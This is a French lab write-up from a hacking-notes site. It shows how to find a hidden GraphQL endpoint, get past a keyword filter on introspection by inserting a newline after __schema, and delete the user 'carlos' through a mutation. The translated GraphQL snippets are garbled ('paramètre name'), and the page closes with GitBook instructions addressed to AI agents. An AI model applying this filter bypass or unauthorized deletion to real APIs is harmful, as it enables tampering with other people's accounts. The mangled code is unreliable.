> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/graphql/graphql-cached-endpoint-discovery.md).

# Découverte d’un point de terminaison GraphQL mis en cache

### Trouver un point de terminaison GraphQL caché

**Contexte du laboratoire**

Les fonctionnalités de gestion des utilisateurs de ce laboratoire sont basées sur GraphQL **caché** point de terminaison. / Il n'est pas possible de le découvrir simplement en naviguant sur le site, et **PlotQL** des mécanismes de défense sont en place.

**Objectif :**

* Identifier le point de terminaison GraphQL caché
* Supprimer l'utilisateur **carlos**

<figure><img src="/files/e33fea641c030d992d9a0ebc956f4c958075ed8c" alt=""><figcaption></figcaption></figure>

**Reconnaissance initiale**

En naviguant normalement dans l'application, aucun indice visible ne révèle l'utilisation de GraphQL. / Il est donc nécessaire de tester manuellement les chemins GraphQL les plus courants.

**Test des routes GraphQL courantes**

Les routes suivantes sont testées

```bash
/graphql
/graphiql
/v1/graphql
/v2/graphql
/v3/graphql
/v1/graphiql
/v2/graphiql
/v3/graphiql
/playground
/v1/playground
/v2/playground
/v3/playground
/api/v1/playground
/api/v2/playground
/api/v3/playground
/console
/api/graphql
/api/graphiql
/explorer
/api/v1/graphql
/api/v2/graphql
/api/v3/graphql
/api/v1/graphiql
/api/v2/graphiql
/api/v3/graphiql
```

La route **`/api`** répond avec le message suivant :

```bash
"Requête absente"
```

Cela indique clairement la présence d'un point de terminaison GraphQL actif.

<figure><img src="/files/71b2078902a7ff92cb7ae7ccb7187cbb953802d2" alt=""><figcaption></figcaption></figure>

**Vérification du filtrage de l'introspection**

Une simple requête d'introspection est envoyée via l'URL :

```bash
api?query={__schema{types{name}}}
```

Réponse du serveur :

`L'introspection GraphQL n'est pas autorisée, mais la requête contenait __schema ou __type`

<figure><img src="/files/ace8d2cb7b9ae830efd549af007368670288b0e4" alt=""><figcaption></figcaption></figure>

Le même blocage se produit lors de l'envoi d'une requête d'introspection complète via Burp ou GraphiQL.

{% code overflow="wrap" %}

```bash
query IntrospectionQuery {
    __schema {
        queryType {
            paramètre name
        }
        mutationType {
            paramètre name
        }
        subscriptionType {
            paramètre name
        }
        types {
            ...FullType
        }
        directives {
            paramètre name
            description
            locations
            args {
                ...InputValue
            }
        }
    }
}

fragment FullType on __Type {
    kind
    paramètre name
    description
    fields(includeDeprecated: true) {
        paramètre name
        description
        args {
            ...InputValue
        }
        type {
            ...TypeRef
        }
        isDeprecated
        deprecationReason
    }
    inputFields {
        ...InputValue
    }
    interfaces {
        ...TypeRef
    }
    enumValues(includeDeprecated: true) {
        paramètre name
        description
        isDeprecated
        deprecationReason
    }
    possibleTypes {
        ...TypeRef
    }
}

fragment InputValue on __InputValue {
    paramètre name
    description
    type {
        ...TypeRef
    }
    defaultValue
}

fragment TypeRef on __Type {
    kind
    paramètre name
    ofType {
        kind
        paramètre name
        ofType {
            kind
            paramètre name
            ofType {
                kind
                paramètre name
            }
        }
    }
}
```

{% endcode %}

<figure><img src="/files/f1cc1dd40ec4b4e082c4a886312027220f1ca9bc" alt=""><figcaption></figcaption></figure>

**Contourner le blocage de l'introspection**

Pour contourner le filtrage basé sur les mots-clés `__schema` et `__type`, un **saut de ligne** est ajouté avant l'accolade ouvrante :

```graphql
__schema
     {
```

Cette légère modification permet à la requête d'être acceptée et traitée par le serveur.

<figure><img src="/files/012bbd12d2e0add0eb35d1e53e8575061754d75b" alt=""><figcaption></figcaption></figure>

**Analyse du diagramme GraphQL**

Une fois l'introspection acceptée, les requêtes découvertes sont envoyées à **sitemap** afin d'être analysées plus facilement.

<figure><img src="/files/8b51f3fd29c9a85a68abce486aa57b6d26186877" alt=""><figcaption></figcaption></figure>

Deux requêtes importantes sont identifiées.

<figure><img src="/files/0e8a075e7f144cb9b190509211efad93717094cc" alt=""><figcaption></figcaption></figure>

**Récupération d'un utilisateur par ID**

Requête pour obtenir le nom de l'utilisateur à partir de son identifiant :

```graphql
query($id: Int!) {
  getUser(id: $id) {
    id
    le nom d'utilisateur
  }
}
```

En fournissant l'ID suivant :

```json
{
    "id":3
}
```

Il est identifié que l'utilisateur avec l'ID **3** correspond à **carlos**.

<figure><img src="/files/0dbaa258ee640fee15cde3dcb23736b1fa902f4d" alt=""><figcaption></figcaption></figure>

**Suppression de l'utilisateur carlos**

Une mutation supprime un utilisateur de l'organisation :

```graphql
mutation($input: DeleteOrganizationUserInput) {
  deleteOrganizationUser(input: $input) {
    user {
      id
      le nom d'utilisateur
    }
  }
}
```

Charge utile utilisée :

```graphql
{
  "input": {
    "id": 3
  }
}
```

L'utilisateur **carlos** est ensuite supprimé avec succès.

<figure><img src="/files/6a379ad0a2f4177227c8ec46638de92efc7e1f03" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/graphql/graphql-cached-endpoint-discovery.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
